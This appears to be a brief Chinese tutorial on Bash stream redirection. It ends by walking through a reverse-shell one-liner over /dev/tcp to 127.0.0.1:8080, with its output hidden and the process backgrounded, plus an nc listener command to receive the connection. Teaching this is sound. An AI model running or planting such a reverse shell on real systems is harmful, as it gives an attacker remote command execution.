基礎
* | 編號 | 設備 |
---|---|---|
stdin | 0 | /dev/stdin |
stdout | 1 | /dev/stdout |
stderr | 2 | /dev/stderr |
輸出重定向
bash -i > /dev/tcp/127.0.0.1/8080
把輸出結果發送到遠程2>&-
關閉錯誤輸出2>/dev/null
拋棄錯誤輸出ls qqq >/dev/null 2>&1
把正確輸出拋棄,把錯誤輸出重定向到正確輸出&>/dev/null
把所有輸出都拋棄exec 1>log.txt
把後續所有標準輸出重定向到文件(恢復使用exec 1>&2
)
輸入重定向
echo whoami | bash -i
使用管道執行命令
分析這個例子:
`(bash -i > /dev/tcp/127.0.0.1/8080 0<&1) &>/dev/null`&
它首先把 bash 的輸出都發送給了 127.0.0.1:8080
,並且這個文件的輸出(對應於遠程用戶的輸入命令)重定向到 bash 的標準輸入。爲了不讓本地回顯遠程輸入的命令,它還把這條命令的輸出都發送給了 /dev/null
,最後讓這個 shell 在後臺運行。在運行這個命令前,在另一個終端中執行 nc -lp 8080
,等待這個反向 shell 的連接吧。